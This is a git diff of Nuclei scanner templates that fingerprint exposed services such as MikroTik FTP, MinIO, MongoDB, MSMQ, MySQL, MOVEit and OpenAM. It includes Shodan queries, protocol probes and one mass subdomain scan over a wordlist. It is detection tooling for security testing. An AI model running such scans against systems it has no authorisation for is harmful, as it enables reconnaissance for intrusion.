100644 index 0000000000..7e462acecb --- /dev/null +++ b/poc/detect/mikrotik-ftp-server-detect.yaml @@ -0,0 +1,32 @@ +id: mikrotik-ftp-server-detect + +info: + name: MikroTik FTP server Detect + author: pussycat0x + severity: info + description: | + The File Transfer Protocol (FTP) is a standard network protocol used to transfer computer files between a client and server on a computer network. + metadata: + max-request: 1 + shodan-query: product:"MikroTik router ftpd" + verified: true + tags: network,ftp,mikrotik,router,detect + +tcp: + - inputs: + - data: "\n" + host: + - "{{Hostname}}" + port: 21 + + matchers: + - type: word + part: body + words: + - "MikroTik FTP" + + extractors: + - type: regex + regex: + - "MikroTik ([0-9.]+)" +# digest: 490a0046304402200315db9caf0f8bf48a97f726ba186214cb09009daae30612ef8816d520de054b02204c0ae91153e94352c944b7b4dbfa23259ba77326b5211e3bd5be87ebb2027b44:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/minio-console-detect-8884.yaml b/poc/detect/minio-console-detect-8884.yaml new file mode 100644 index 0000000000..81f642876b --- /dev/null +++ b/poc/detect/minio-console-detect-8884.yaml @@ -0,0 +1,24 @@ +id: minio-console-detect + +info: + name: MinIO Console Detection + author: pussycat0x + severity: info + tags: panel,minio + metadata: + fofa-query: 'app="MinIO-Console"' + +requests: + - method: GET + path: + - "{{BaseURL}}/login" + + matchers-condition: and + matchers: + - type: word + words: + - 'MinIO Console' + + - type: status + status: + - 200 diff --git a/poc/detect/minio-console-detect.yaml b/poc/detect/minio-console-detect.yaml index 73feb36cd8..c522949f8e 100644 --- a/poc/detect/minio-console-detect.yaml +++ b/poc/detect/minio-console-detect.yaml @@ -1,4 +1,5 @@ id: minio-console-detect + info: name: MinIO Console Detection author: pussycat0x @@ -6,15 +7,26 @@ info: tags: panel,minio metadata: fofa-query: 'app="MinIO-Console"' + requests: - - method: GET - path: - - "{{BaseURL}}/login" + - payloads: + Subdomains: /home/mahmoud/Wordlist/AllSubdomains.txt + attack: sniper + threads: 100 + + raw: + - | + GET /login HTTP/1.1 + Host: {{Subdomains}} + User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 + Accept-Encoding: gzip, deflate + Accept: */* matchers-condition: and matchers: - type: word words: - 'MinIO Console' + - type: status status: - 200 diff --git a/poc/detect/moinmoin-detect-8916.yaml b/poc/detect/moinmoin-detect-8916.yaml new file mode 100644 index 0000000000..948f4cd509 --- /dev/null +++ b/poc/detect/moinmoin-detect-8916.yaml @@ -0,0 +1,30 @@ +id: moinmoin-detect +info: + name: MoinMoin wiki detect + author: cyllective + severity: info + description: Detects MoinMoin Wiki + reference: + - https://github.com/moinwiki/moin-1.9 + tags: tech,moin,moinmoin,wiki +requests: + - method: GET + path: + - "{{BaseURL}}" + matchers-condition: and + matchers: + - type: word + part: body + condition: or + words: + - 'MoinMoin Powered' + - 'Python Powered' + - type: status + status: + - 200 + extractors: + - type: regex + part: body + group: 1 + regex: + - '\/moin_static(\w+)\/' diff --git a/poc/detect/moinmoin-detect-8917.yaml b/poc/detect/moinmoin-detect-8917.yaml index 948f4cd509..1f49025550 100644 --- a/poc/detect/moinmoin-detect-8917.yaml +++ b/poc/detect/moinmoin-detect-8917.yaml @@ -1,16 +1,19 @@ id: moinmoin-detect + info: name: MoinMoin wiki detect author: cyllective severity: info description: Detects MoinMoin Wiki + tags: tech,moin,moinmoin,wiki reference: - https://github.com/moinwiki/moin-1.9 - tags: tech,moin,moinmoin,wiki + requests: - method: GET path: - "{{BaseURL}}" + matchers-condition: and matchers: - type: word @@ -19,12 +22,14 @@ requests: words: - 'MoinMoin Powered' - 'Python Powered' + - type: status status: - 200 + extractors: - type: regex part: body group: 1 regex: - - '\/moin_static(\w+)\/' + - '\/moin_static(\w+)\/' \ No newline at end of file diff --git a/poc/detect/moinmoin-detect.yaml b/poc/detect/moinmoin-detect.yaml new file mode 100644 index 0000000000..c090f01840 --- /dev/null +++ b/poc/detect/moinmoin-detect.yaml @@ -0,0 +1,30 @@ +id: moinmoin-detect +info: + name: MoinMoin wiki detect + author: cyllective + severity: info + description: Detects MoinMoin Wiki + tags: tech,moin,moinmoin,wiki + reference: + - https://github.com/moinwiki/moin-1.9 +requests: + - method: GET + path: + - "{{BaseURL}}" + matchers-condition: and + matchers: + - type: word + part: body + condition: or + words: + - 'MoinMoin Powered' + - 'Python Powered' + - type: status + status: + - 200 + extractors: + - type: regex + part: body + group: 1 + regex: + - '\/moin_static(\w+)\/' diff --git a/poc/detect/mongodb-detect-8919.yaml b/poc/detect/mongodb-detect-8919.yaml index 9e08d299ab..a81bd83ef0 100644 --- a/poc/detect/mongodb-detect-8919.yaml +++ b/poc/detect/mongodb-detect-8919.yaml @@ -3,7 +3,8 @@ info: name: MongoDB Detection author: pdteam severity: info - reference: https://github.com/orleven/Tentacle + reference: + - https://github.com/orleven/Tentacle tags: network,mongodb network: - inputs: diff --git a/poc/detect/mongodb-detect-8920.yaml b/poc/detect/mongodb-detect-8920.yaml new file mode 100644 index 0000000000..9e08d299ab --- /dev/null +++ b/poc/detect/mongodb-detect-8920.yaml @@ -0,0 +1,20 @@ +id: mongodb-detect +info: + name: MongoDB Detection + author: pdteam + severity: info + reference: https://github.com/orleven/Tentacle + tags: network,mongodb +network: + - inputs: + - data: 3a000000a741000000000000d40700000000000061646d696e2e24636d640000000000ffffffff130000001069736d6173746572000100000000 + type: hex + host: + - "{{Hostname}}" + - "{{Host}}:27017" + read-size: 2048 + matchers: + - type: word + words: + - "logicalSessionTimeout" + - "localTime" diff --git a/poc/detect/mongodb-detect.yaml b/poc/detect/mongodb-detect.yaml new file mode 100644 index 0000000000..1cd1b6d2dc --- /dev/null +++ b/poc/detect/mongodb-detect.yaml @@ -0,0 +1,33 @@ +id: mongodb-detect + +info: + name: MongoDB Service - Detect + author: pdteam + severity: info + description: | + MongoDB service was detected. + reference: + - https://github.com/orleven/Tentacle + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cwe-id: CWE-200 + metadata: + max-request: 1 + tags: network,mongodb,detect + +tcp: + - inputs: + - data: 3a000000a741000000000000d40700000000000061646d696e2e24636d640000000000ffffffff130000001069736d6173746572000100000000 + type: hex + + host: + - "{{Hostname}}" + port: 27017 + read-size: 2048 + + matchers: + - type: word + words: + - "logicalSessionTimeout" + - "localTime" +# digest: 490a0046304402201d01f37dbe51be80e92d0b492ae2065e5621ff3b63de8788dfe38e5ff3fcdfd902201c0d07d0077bbd2924d1803ceeac5569ce7890dd9feff6b83029109747dfb349:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/monstracms-detect.yaml b/poc/detect/monstracms-detect.yaml new file mode 100644 index 0000000000..9509397862 --- /dev/null +++ b/poc/detect/monstracms-detect.yaml @@ -0,0 +1,41 @@ +id: monstracms-detect + +info: + name: MonstraCMS Detection + author: ritikchaddha + severity: info + reference: + - https://github.com/monstra-cms/monstra/ + metadata: + verified: true + max-request: 1 + shodan-query: http.favicon.hash:419828698 + tags: tech,monstra,monstracms + +http: + - method: GET + path: + - "{{BaseURL}}" + + host-redirects: true + max-redirects: 2 + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'content="Powered by Monstra' + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + group: 1 + regex: + - 'content="Powered by Monstra ([0-9.]+)' + +# digest: 4b0a00483046022100ea76fffffbf10d29b121148e973f3b7f74146c24bc4e75343146c92bf917944e022100e5ff98976f50863f9b29fb25e58e7487cfab1d3408dae2395395e5047e4ec735:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/moveit-detect.yaml b/poc/detect/moveit-detect.yaml deleted file mode 100644 index 5fc9427f93..0000000000 --- a/poc/detect/moveit-detect.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: moveit-transfer-detect - -info: - name: Moveit File Transfer - Detect - author: tess - severity: info - metadata: - verified: true - max-request: 2 - shodan-query: html:"human.aspx" - tags: tech,moveit - -http: - - method: GET - path: - - '{{BaseURL}}' - - '{{BaseURL}}/human.aspx' - - stop-at-first-match: true - - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'stylesheet_MOVEit' - - 'moveit.transfer' - - 'MOVEitPopUp' - - 'MOVEit Automation' - condition: or - case-insensitive: true - - - type: status - status: - - 200 - -# digest: 4a0a00473045022100ce8b47477d2640d59a6879906574e3c628b07f4bc38a61a385b239d74453f34d02204c1c027d84cf76e60e97f36e85c084ceee87102e9a83b6363e1b6508ecaa6a6a:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/moveit-sftp-detect.yaml b/poc/detect/moveit-sftp-detect.yaml new file mode 100644 index 0000000000..7bbb02ecf8 --- /dev/null +++ b/poc/detect/moveit-sftp-detect.yaml @@ -0,0 +1,31 @@ +id: moveit-sftp-detect + +info: + name: MOVEit Transfer SFTP - Detect + author: johnk3r + severity: info + description: | + MOVEit Transfer SFTP was detected. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cwe-id: CWE-200 + metadata: + max-request: 1 + shodan-query: "SSH-2.0-MOVEit" + tags: network,ssh,detect,moveit,sftp + +tcp: + - host: + - "{{Hostname}}" + port: 22 + + matchers: + - type: regex + regex: + - '(?i)MOVEit' + + extractors: + - type: regex + regex: + - '(?i)SSH-(.*)-MOVEit[^\r]+' +# digest: 4b0a004830460221008633954c1fc1b554d3d4b2e0c8565146625570f2a602b8d2947c41e04a173a25022100b0d5813e784f44252bf3353a87f8be7184fb7f4b83536b4d02d17427359e7ef1:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/moveit-transfer-detect.yaml b/poc/detect/moveit-transfer-detect.yaml new file mode 100644 index 0000000000..bff41dcb2f --- /dev/null +++ b/poc/detect/moveit-transfer-detect.yaml @@ -0,0 +1,34 @@ +id: moveit-transfer-detect + +info: + name: Moveit File Transfer - Detect + author: tess + severity: info + metadata: + max-request: 2 + shodan-query: html:"human.aspx" + verified: true + tags: tech,moveit + +http: + - method: GET + path: + - '{{BaseURL}}' + - '{{BaseURL}}/human.aspx' + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'stylesheet_MOVEit' + - 'moveit.transfer' + - 'MOVEitPopUp' + - 'MOVEit Automation' + condition: or + case-insensitive: true + + - type: status + status: + - 200 \ No newline at end of file diff --git a/poc/detect/mrtg-detect-8958.yaml b/poc/detect/mrtg-detect-8958.yaml index b359f4b53e..fe48bb2308 100644 --- a/poc/detect/mrtg-detect-8958.yaml +++ b/poc/detect/mrtg-detect-8958.yaml @@ -1,26 +1,36 @@ id: mrtg-detect + info: name: Detect MRTG author: geeknik - description: The Multi Router Traffic Grapher - reference: https://oss.oetiker.ch/mrtg/ severity: info + description: The Multi Router Traffic Grapher + reference: + - https://oss.oetiker.ch/mrtg/ + metadata: + max-request: 3 tags: tech,mrtg -requests: + +http: - method: GET path: - "{{BaseURL}}" - "{{BaseURL}}/mrtg/" - "{{BaseURL}}/MRTG/" + stop-at-first-match: true + matchers-condition: and matchers: - type: status status: - 200 + - type: word part: body words: - "MRTG Index Page" - "Multi Router Traffic Grapher" condition: and + +# digest: 490a0046304402202c89cdfa5c15dc928a0cb84f44ab05f5c5a0fbc8b8d2bd14a61a09f9a276ad3202206577f6bd0dca4b7a830874a22a5053ecf8d54fbbdc2674c49c43d99b5fbb1837:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/msmq-detect.yaml b/poc/detect/msmq-detect.yaml new file mode 100644 index 0000000000..00e3a4619e --- /dev/null +++ b/poc/detect/msmq-detect.yaml @@ -0,0 +1,35 @@ +id: msmq-detect + +info: + name: MSMQ (Microsoft Message Queuing Service) Remote - Detect + author: bhutch + severity: info + description: Detects remote MSMQ services. Public exposure of this service may be a misconfiguration. + reference: + - https://www.shadowserver.org/what-we-do/network-reporting/accessible-msmq-service-report/ + - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/f9bbe350-d70b-4e90-b9c7-d39328653166 + - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/50da7ea1-eed7-41f9-ba6a-2aa37f5f1e92 + - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21554 + metadata: + censys-query: services.service_name:MSMQ + max-request: 1 + shodan-query: MSMQ + verified: true + tags: network,msmq,detect + +tcp: + - inputs: + - data: 10c00b004c494f523c020000ffffffff00000200d1587355509195954997b6e611ea26c60789cd434c39118f44459078909ea0fc4ecade1d100300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 + type: hex + + host: + - "{{Hostname}}" + port: 1801 + read-size: 2048 + + matchers: + - type: word + encoding: hex + words: + - "105a0b004c494f523c020000ffffffff" +# digest: 4a0a00473045022100ae2d5b1a528dfcb3ed77662dfd51ea66386406e361281325979bf0eed648cf620220722db3791d0873fd8323c80ea6ac4be40db2ec6f21cfd925111121fea50fea2a:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/mx-service-detector-8974.yaml b/poc/detect/mx-service-detector-8974.yaml new file mode 100644 index 0000000000..0f03d5b4ca --- /dev/null +++ b/poc/detect/mx-service-detector-8974.yaml @@ -0,0 +1,79 @@ +id: mx-service-detector + +info: + name: E-mail service detector + author: binaryfigments + severity: info + description: Check the email service or spam filter that is used for a domain. + tags: dns,service + +dns: + - name: "{{FQDN}}" + type: MX + + matchers-condition: or + matchers: + - type: word + name: "Office 365" + words: + - "mail.protection.outlook.com" + + - type: word + name: "Google Apps" + words: + - "aspmx2.googlemail.com" + - "aspmx3.googlemail.com" + - "alt1.aspmx.l.google.com" + - "alt2.aspmx.l.google.com" + - "aspmx.l.google.com" + + - type: word + name: "ProtonMail" + words: + - "mail.protonmail.ch" + - "mailsec.protonmail.ch" + + - type: word + name: "Zoho Mail" + words: + - "mx.zoho.eu" + - "mx2.zoho.eu" + - "mx3.zoho.eu" + + - type: word + name: "ForcePoint Email Security" + words: + - "in.mailcontrol.com" + + - type: word + name: "E-Zorg NL" + words: + - "spamfilter02.ezorg.nl" + - "spamfilter01.ezorg.nl" + - "spamfilter.ezorg.nl" + - "spamfilter03.ezorg.nl" + + - type: word + name: "Kerio Cloud EU" + words: + - "mx1.eu1.kerio.cloud" + - "mx2.eu1.kerio.cloud" + + - type: word + name: "Kerio Cloud US" + words: + - "mx1.us1.kerio.cloud" + - "mx2.us1.kerio.cloud" + - "mx3.us1.kerio.cloud" + + - type: word + name: "Proofpoint EU" + words: + - "mx1-eu1.ppe-hosted.com" + - "mx2-eu1.ppe-hosted.com" + + - type: word + name: "Proofpoint US" + words: + - "mx1-us1.ppe-hosted.com" + - "mx2-us1.ppe-hosted.com" diff --git a/poc/detect/mysql-detect.yaml b/poc/detect/mysql-detect.yaml new file mode 100644 index 0000000000..1fd8346ac1 --- /dev/null +++ b/poc/detect/mysql-detect.yaml @@ -0,0 +1,32 @@ +id: mysql-detect + +info: + name: MySQL - Detect + author: pussycat0x + severity: info + description: | + MySQL instance was detected. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cwe-id: CWE-200 + metadata: + max-request: 1 + shodan-query: product:"MySQL" + verified: true + tags: network,mysql,db,detect + +tcp: + - inputs: + - data: "\n" + + host: + - "{{Hostname}}" + port: 3306 + + matchers: + - type: word + part: body + words: + - "mysql" + case-insensitive: true +# digest: 4a0a0047304502201d1a8c8108b1b115ca05e868ee2b1717307853bfde89943a094484ae3f692b060221009ee87ce424ac718e5555a8bd019faf1f30ff457e9de2537d6411545cc552eb02:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/netdata-dashboard-detected-9022.yaml b/poc/detect/netdata-dashboard-detected-9022.yaml index 9ca6d2ee3f..9f759235b7 100644 --- a/poc/detect/netdata-dashboard-detected-9022.yaml +++ b/poc/detect/netdata-dashboard-detected-9022.yaml @@ -1,5 +1,4 @@ id: netdata-dashboard-detect - info: name: NetData Dashboard Detect author: pussycat0x @@ -7,19 +6,16 @@ info: metadata: shodan-dork: 'Server: NetData Embedded HTTP Server' tags: netdata,panel,tech - requests: - method: GET path: - "{{BaseURL}}" - matchers-condition: and matchers: - type: word part: body words: - 'netdata dashboard' - - type: status status: - 200 diff --git a/poc/detect/network-camera-detect.yaml b/poc/detect/network-camera-detect.yaml index 0397a15b5f..353bed442d 100644 --- a/poc/detect/network-camera-detect.yaml +++ b/poc/detect/network-camera-detect.yaml @@ -1,16 +1,23 @@ id: network-camera-detect + info: name: Various Online Devices Detection (Network Camera) author: iamthefrogy severity: info + metadata: + max-request: 1 tags: iot -requests: + +http: - method: GET path: - "{{BaseURL}}/CgiStart?page=Single" - redirects: true + + host-redirects: true max-redirects: 2 matchers: - type: word words: - Network Camera + +# digest: 4a0a004730450220136bbdc422d67c75d630bdb3fb415979e8df7b115dd98e6bd340e417395a23d1022100b91ebbd4415e96886e0e84146b075965b32ec11e2f17dc62153555d34d1c476f:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/nextcloud-detect-9080.yaml b/poc/detect/nextcloud-detect-9080.yaml new file mode 100644 index 0000000000..c7ec436575 --- /dev/null +++ b/poc/detect/nextcloud-detect-9080.yaml @@ -0,0 +1,48 @@ +id: nextcloud-detect + +info: + name: Nextcloud Detect + author: skeltavik + severity: info + description: | + Nextcloud is a suite of client-server software for creating and using file hosting services + reference: + - https://nextcloud.com + metadata: + verified: true + max-request: 4 + shodan-query: http.title:"Nextcloud" + tags: tech,nextcloud,storage + +http: + - method: GET + path: + - '{{BaseURL}}' + - '{{BaseURL}}/login' + - '{{BaseURL}}/nextcloud/login' + - '{{BaseURL}}/nextcloud/index.php/login' + + stop-at-first-match: true + host-redirects: true + max-redirects: 2 + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'var nc_lastLogin' + - 'var nc_pageLoad' + condition: and + + - type: status + status: + - 200 + + extractors: + - type: regex + group: 1 + regex: + - '(?m)"version":"([0-9.]+)",' + +# digest: 4a0a00473045022100938d847bcc0b475ce2db2df8e93fd72beee7d2c05e3bbbfc840ca2c2a18d9fc202207734d0da58a3f16e28e0b30902d898f0e7f4b8f86b4b583c684b807a199013c0:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/nextcloud-detect.yaml b/poc/detect/nextcloud-detect.yaml deleted file mode 100644 index 35088416e3..0000000000 --- a/poc/detect/nextcloud-detect.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: nextcloud-detect -info: - name: Nextcloud Detect - author: skeltavik - severity: info - description: Detects Nextcloud - reference: - - https://nextcloud.com - tags: tech,nextcloud,storage -requests: - - method: GET - path: - - '{{BaseURL}}' - - '{{BaseURL}}/login' - - '{{BaseURL}}/nextcloud/index.php/login' - stop-at-first-match: true - redirects: true - max-redirects: 2 - matchers: - - type: word - part: body - words: - - 'var nc_lastLogin' diff --git a/poc/detect/oauth2-detect.yaml b/poc/detect/oauth2-detect.yaml new file mode 100644 index 0000000000..6d692b274c --- /dev/null +++ b/poc/detect/oauth2-detect.yaml @@ -0,0 +1,23 @@ +id: oauth2-detect +info: + name: OAuth 2.0 Authorization Server Detection Template + author: righettod + severity: info + description: Try to detect OAuth 2.0 Authorization Server via the "oauth/token" endpoint + tags: tech,oauth +requests: + - method: POST + path: + - "{{BaseURL}}/oauth/token" + body: "grant_type=authorization_code&client_id=xxx&redirect_uri=https%3A%2F%2Fprojectdiscovery.io&code=xxx&client_secret=xxx" + matchers-condition: and + matchers: + - type: status + status: + - 401 + - 400 + condition: or + - type: word + part: body + words: + - 'error":"invalid_client"' diff --git a/poc/detect/oidc-detect-9217.yaml b/poc/detect/oidc-detect-9217.yaml new file mode 100644 index 0000000000..29eda7d953 --- /dev/null +++ b/poc/detect/oidc-detect-9217.yaml @@ -0,0 +1,29 @@ +id: oidc-detect + +info: + name: Detect OpenID Connect provider + author: jarijaas + severity: info + description: Detects OpenID Connect providers. See https://en.wikipedia.org/wiki/OpenID_Connect + metadata: + max-request: 1 + tags: tech,oidc + +http: + - method: GET + path: + - "{{BaseURL}}/.well-known/openid-configuration" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - issuer + - authorization_endpoint + condition: and + +# digest: 4a0a00473045022100a182d940792e68b972fca7ce4f405b0187f6e30b8b84dc2cba497783df7145a902202233850bc05b87f58ef19d86222f0bdd31796e5abaec136ce8dbebd924717899:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/oidc-detect.yaml b/poc/detect/oidc-detect.yaml deleted file mode 100644 index 66e42c03e4..0000000000 --- a/poc/detect/oidc-detect.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: oidc-detect -info: - name: Detect OpenID Connect provider - author: jarijaas - severity: info - description: Detects OpenID Connect providers. See https://en.wikipedia.org/wiki/OpenID_Connect - tags: tech,oidc -requests: - - method: GET - path: - - "{{BaseURL}}/.well-known/openid-configuration" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - issuer - - authorization_endpoint - condition: and diff --git a/poc/detect/oipm-detect-9221.yaml b/poc/detect/oipm-detect-9221.yaml deleted file mode 100644 index 810ae88039..0000000000 --- a/poc/detect/oipm-detect-9221.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: oipm-detect -info: - name: One Identity Password Manager Detection - author: nodauf - severity: info - description: One Identity Password Manager is a secure password manager that gives enterprises control over password management, policies, and automated reset functions. - reference: - - https://www.oneidentity.com/techbrief/security-guide-for-password-manager821177/ - classification: - cwe-id: CWE-200 - remediation: Ensure proper access. - tags: panel -requests: - - method: GET - path: - - '{{BaseURL}}/PMUser/' - matchers: - - type: word - words: - - "One Identity Password Manager" - -# Enhanced by mp on 2022/02/10 diff --git a/poc/detect/oipm-detect-9222.yaml b/poc/detect/oipm-detect-9222.yaml new file mode 100644 index 0000000000..8130790a6a --- /dev/null +++ b/poc/detect/oipm-detect-9222.yaml @@ -0,0 +1,14 @@ +id: oipm-detect +info: + name: One Identity Password Manager detection + author: nodauf + severity: info + tags: panel +requests: + - method: GET + path: + - '{{BaseURL}}/PMUser/' + matchers: + - type: word + words: + - "One Identity Password Manager" diff --git a/poc/detect/olivetti-crf-detect.yaml b/poc/detect/olivetti-crf-detect-9243.yaml similarity index 100% rename from poc/detect/olivetti-crf-detect.yaml rename to poc/detect/olivetti-crf-detect-9243.yaml diff --git a/poc/detect/olivetti-crf-detect-9244.yaml b/poc/detect/olivetti-crf-detect-9244.yaml deleted file mode 100644 index 830f040334..0000000000 --- a/poc/detect/olivetti-crf-detect-9244.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: olivetti-crf-detect - -info: - name: Olivetti CRF Detect - author: pussycat0x - severity: info - metadata: - shodan-query: http.title:"Olivetti CRF" - tags: tech,olivetti - -requests: - - method: GET - path: - - '{{BaseURL}}' - - matchers-condition: and - matchers: - - type: word - words: - - "Olivetti CRF" - part: body - - - type: status - status: - - 200 diff --git a/poc/detect/open-virtualization-manager-detect-9325.yaml b/poc/detect/open-virtualization-manager-detect-9325.yaml index 2d9a96c0f5..ac3120fdc6 100644 --- a/poc/detect/open-virtualization-manager-detect-9325.yaml +++ b/poc/detect/open-virtualization-manager-detect-9325.yaml @@ -1,4 +1,5 @@ id: open-virtualization-manager-detect + info: name: Open Virtualization Manager Detection author: idealphase @@ -8,17 +9,20 @@ info: - https://www.ovirt.org/ - https://www.ovirt.org/dropped/admin-guide/virt/console-client-resources.html classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 cwe-id: CWE-200 metadata: + max-request: 1 shodan-query: title:"Ovirt-Engine" google-query: intitle:"Ovirt-Engine" tags: tech,ovirt -requests: + +http: - method: GET path: - '{{BaseURL}}/ovirt-engine/' + matchers-condition: and matchers: - type: word @@ -28,10 +32,11 @@ requests: - "oVirt Engine" - "oVirt Engine Error" condition: or + extractors: - type: regex group: 1 regex: - '(.+)<\/span>' -# Enhanced by mp on 2022/04/08 +# digest: 4a0a00473045022046dcf27a9376713f4070187834d03573f89c2ad4c709d339277f5368f9bb9d27022100ee7f92a3accdf995e35db6869055e7b908dcc0f8aa9afb08c007b9209886698a:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/open-virtualization-manager-detect-9326.yaml b/poc/detect/open-virtualization-manager-detect-9326.yaml new file mode 100644 index 0000000000..2d9a96c0f5 --- /dev/null +++ b/poc/detect/open-virtualization-manager-detect-9326.yaml @@ -0,0 +1,37 @@ +id: open-virtualization-manager-detect +info: + name: Open Virtualization Manager Detection + author: idealphase + severity: info + description: Open Virtualization Manager was detected. Open Virtualization Manager is an open-source distributed virtualization solution designed to manage enterprise infrastructure. oVirt uses the trusted KVM hypervisor and is built upon several other community projects, including libvirt, Gluster, PatternFly, and Ansible. + reference: + - https://www.ovirt.org/ + - https://www.ovirt.org/dropped/admin-guide/virt/console-client-resources.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cwe-id: CWE-200 + metadata: + shodan-query: title:"Ovirt-Engine" + google-query: intitle:"Ovirt-Engine" + tags: tech,ovirt +requests: + - method: GET + path: + - '{{BaseURL}}/ovirt-engine/' + matchers-condition: and + matchers: + - type: word + words: + - "Welcome to Open Virtualization Manager" + - "Ovirt-Engine" + - "oVirt Engine" + - "oVirt Engine Error" + condition: or + extractors: + - type: regex + group: 1 + regex: + - '(.+)<\/span>' + +# Enhanced by mp on 2022/04/08 diff --git a/poc/detect/openam-detection-9257.yaml b/poc/detect/openam-detection-9257.yaml index 422e872289..5465b38615 100644 --- a/poc/detect/openam-detection-9257.yaml +++ b/poc/detect/openam-detection-9257.yaml @@ -1,17 +1,51 @@ id: openam-detection info: - name: Detect openam - author: melbadry9 & xelkomy + name: Detect OpenAM and OpenSSO + author: philippedelteil severity: info - description: The vulnerability was found in the password reset feature that OpenAM provides. When a user tries to reset his password, he is asked to enter his username then the backend validates whether the user exists or not through an LDAP query before the password reset token is sent to the user’s email. - reference: https://blog.cybercastle.io/ldap-injection-in-openam/ + tags: tech,openam requests: - method: GET path: - - "{{BaseURL}}/openam/ui/PWResetUserValidation" - - "{{BaseURL}}/OpenAM-11.0.0/ui/PWResetUserValidation" - - "{{BaseURL}}/ui/PWResetUserValidation" + - "{{BaseURL}}/openam/XUI" + - "{{BaseURL}}/XUI" + - "{{BaseURL}}/XUI/#login" + - "{{BaseURL}}/UI" + - "{{BaseURL}}/sso/XUI" + - "{{BaseURL}}/sso/UI" + - "{{BaseURL}}/sso/UI/#login" + - "{{BaseURL}}/openam/UI/login" + - "{{BaseURL}}/openam/UI/#loginlogin" + - "{{BaseURL}}/openam/UI/Login" + - "{{BaseURL}}/openam/XUI/Login" + - "{{BaseURL}}/openam/XUI/login" + - "{{BaseURL}}/openam/XUI/#login" + - "{{BaseURL}}/am/UI/Login" + - "{{BaseURL}}/am/UI/#login" + - "{{BaseURL}}/am/XUI/" + - "{{BaseURL}}/am/XUI/Login" + - "{{BaseURL}}/am/json/serverinfo/*" + - "{{BaseURL}}/openam/json/serverinfo/*" + redirects: true + stop-at-first-match: true + max-redirects: 2 + matchers-condition: and matchers: - - type: dsl - dsl: - - 'contains(body, "jato.pageSession") && status_code==200' + - type: word + words: + - 'urlArgs : "v=' + - 'Sign in to OpenAM' + - 'ForgeRock' + - 'forgerock' + - 'FRForgotUsername' + - 'successfulUserRegistrationDestination' + condition: or + - type: status + status: + - 200 + extractors: + - type: regex + part: body + group: 1 + regex: + - 'urlArgs : "v=([0-9.abcd]+)' diff --git a/poc/detect/openam-detection.yaml b/poc/detect/openam-detection.yaml index 5465b38615..61489b3749 100644 --- a/poc/detect/openam-detection.yaml +++ b/poc/detect/openam-detection.yaml @@ -1,51 +1,20 @@ id: openam-detection + info: - name: Detect OpenAM and OpenSSO - author: philippedelteil + name: Detect openam + author: melbadry9 & xelkomy severity: info - tags: tech,openam + description: The vulnerability was found in the password reset feature that OpenAM provides. When a user tries to reset his password, he is asked to enter his username then the backend validates whether the user exists or not through an LDAP query before the password reset token is sent to the user’s email. + reference: https://blog.cybercastle.io/ldap-injection-in-openam/ + requests: - method: GET path: - - "{{BaseURL}}/openam/XUI" - - "{{BaseURL}}/XUI" - - "{{BaseURL}}/XUI/#login" - - "{{BaseURL}}/UI" - - "{{BaseURL}}/sso/XUI" - - "{{BaseURL}}/sso/UI" - - "{{BaseURL}}/sso/UI/#login" - - "{{BaseURL}}/openam/UI/login" - - "{{BaseURL}}/openam/UI/#loginlogin" - - "{{BaseURL}}/openam/UI/Login" - - "{{BaseURL}}/openam/XUI/Login" - - "{{BaseURL}}/openam/XUI/login" - - "{{BaseURL}}/openam/XUI/#login" - - "{{BaseURL}}/am/UI/Login" - - "{{BaseURL}}/am/UI/#login" - - "{{BaseURL}}/am/XUI/" - - "{{BaseURL}}/am/XUI/Login" - - 